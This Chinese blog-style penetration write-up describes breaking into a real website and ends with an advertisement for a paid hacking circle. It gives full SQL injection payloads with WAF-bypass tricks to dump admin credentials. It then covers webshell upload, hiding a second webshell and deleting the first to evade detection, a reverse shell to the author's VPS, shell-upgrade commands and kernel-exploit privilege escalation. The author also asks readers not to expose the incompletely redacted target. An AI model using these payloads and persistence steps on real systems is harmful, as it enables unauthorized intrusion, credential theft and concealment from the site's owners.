0x00前言
分享一个简单的项目,小有坎坷但仍旧几乎畅通无阻的最终拿下root权限。
先说重要的事情:
如有漏码少码导致能定位目标请各位师傅手下留情,后台留言提醒必有红包重谢!
0x01信息收集
过程略,收集到目标的主站、邮服、dns服务器,之后选择从主站入手。
0x02漏洞挖掘
先在域名后随手加一个admin找到后台。
回到前台,随意点点,发现可疑参数id
?id=125 and 1=0 页面变空白
?id=125 and 1=1 页面恢复正常
确认存在数字型注入,数字型注入的payload后面一般不用加注释(图略,打码太累了)
?id=125 order by 7 页面正常
?id=125 order by 8 页面报错
确认注入点查询7列(图略,打码太累了)
?id=125 union select 1,2,3,4,5,6,7 使用union联合查询注入确认回显点时存在问题,页面迟迟无响应。
猜想是有waf做了过滤,接下来逐步测试waf到底过滤了什么东西。每个waf都有自己的过滤特征(以前的安全狗是出现一只狗),可以判断该waf的过滤特征就是页面无响应,所以出现其他情况(正常回显,数据库报错等)都可判断是绕过waf成功。
?id=125 union 页面报错而不是无响应,说明waf没有过滤union
?id=125 union select 页面无响应,说明过滤了select或union select
?id=125 union sElecT 关键字大小写混用尝试绕过,页面依旧无响应,绕过失败(图略)
?id=125 union /*!sElecT*/ mysql内联注释尝试绕过过滤,页面报错,绕过成功!
?id=125 union /*!sElecT*/ 1,2,3,4,5,6,7 确认回显列,却没有在页面发现数字回显,依旧是正常显示着新闻。(图略,打码太累了)
?id=0 union /*!sElecT*/ 1,2,3,4,5,6,7 怀疑是代码没有用循环输出,所以只能显示查询出的第一列,正常查询的结果干扰了我们注入的回显。于是更改前面的id为0,让程序查不出正常的数据,成功发现第2和第5列回显
通过information_schema数据库找表找列的注入过程略,最终查出管理员账号密码的payload如下(中间又被waf拦了一次,于是将内联注释做了一个升级,空格和union关键字也做了混淆最终绕过):id=0/**/UniOn/**//*!50000sEleCt*/1,2,3,4,group_concat(concat_ws(‘@’,username,pwd) separator ‘<br>’),6,7/**/From/**/admin
这里解释一下,concat_ws函数是将多个列的结果合并返回,以第一个参数为分割符。group_concat则是多个行的结果合并返回,以separator后面指定的参数(换行符)为分隔符,于是一条payload即可注出表中所有数据。
登陆后台找到编辑器功能。
上传图片处没有限制后缀也没有检测内容,上传webshell成功。
右键查看图片地址,访问却404 Not Found了。
查看编辑器框架的源代码。
发现可疑链接。
尝试访问并测试成功,后面猜测/resizeimage里存放的是缩略图,上传的php文件无法处理成缩略图形式所以404,而uploadfiles里面存放的是原图。
蚁剑连接成功,特别喜欢这个绿色的小框框。
在隐蔽的目录下藏一个新的webshell,然后去后台把刚才的webshell删除,避免被轻易发现。
0x03 反弹shell
用户权限不高,接下来尝试提权
因为webshell基于http协议(无状态协议),前后操作没有关联,提权成功后下次操作还是会回到原点。所以要先反弹一个shell出来,这里用自己的vps,先关闭vps的防火墙。
然后在vps上用nc监听9999端口。
用webshell给目标服务器写入一个py的反弹脚本。
在蚁剑上执行py脚本,可以看到vps上成功接收到shell。
此时的shell仍然不是一个交互式shell,不能执行交互性工作和su命令,需要用pty库模拟一个终端出来,并用stty升级成完全交互式shell。
看图不清楚的,文字描述过程如下:
//这里是在受害机反弹回的shell里的操作,先用pty把shell提升成半交互,然后Ctrl+Z挂起
$ python -c 'import pty;pty.spawn("/bin/bash")'
Ctrl+Z
//这里是反弹shell挂起后在本机shell里的操作,stty升级后用fg把挂起的shell调出到前台
$ stty raw -echo
$ fg
//这里重新进入了反弹shell,一开始页面会有点怪,执行了reset后就会恢复
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num>columns <cols>
0x04 提升权限
开始提权,尝试使用suid提权:带有s标志的文件运行时会以创建者而非使用者的权限运行,一些敏感命令如果带有s属性可以用来提权。查找了所有s标志位文件,试图用ping命令提权失败(忘了截图了)。
改变思路,利用linux内核漏洞CVE-2012-0056成功提权。
圈子的最近主题和圈子内部工具一些展示
poc漏洞库 8000+src陆续更新中 -紧跟时代发展争做先进网安人
一起愉快刷分-榜上有名
免杀-护网必备
新手学习、老手巩固-温故而知新
学习报告-三人行必有我师
各类会员-尊贵的SVIP
「你即将失去如下所有学习变强机会」
学习效率低,学不到实战内容,花几千、上万报机构没有性价比
一顿自助钱,我承诺一定让用户满意,也希望用户能给予我一份信任
【详情下方图片了解】,【扫下方二维码加入】:只做高质量优质精品内容」
圈子目前价格为¥99元(交个朋友啦!),现在星球有近150+位师傅相信并选择加入我们,圈子每天都会更新内容,老用户可永久享受初始加入价格,圈子内容持续更新中
一张图总结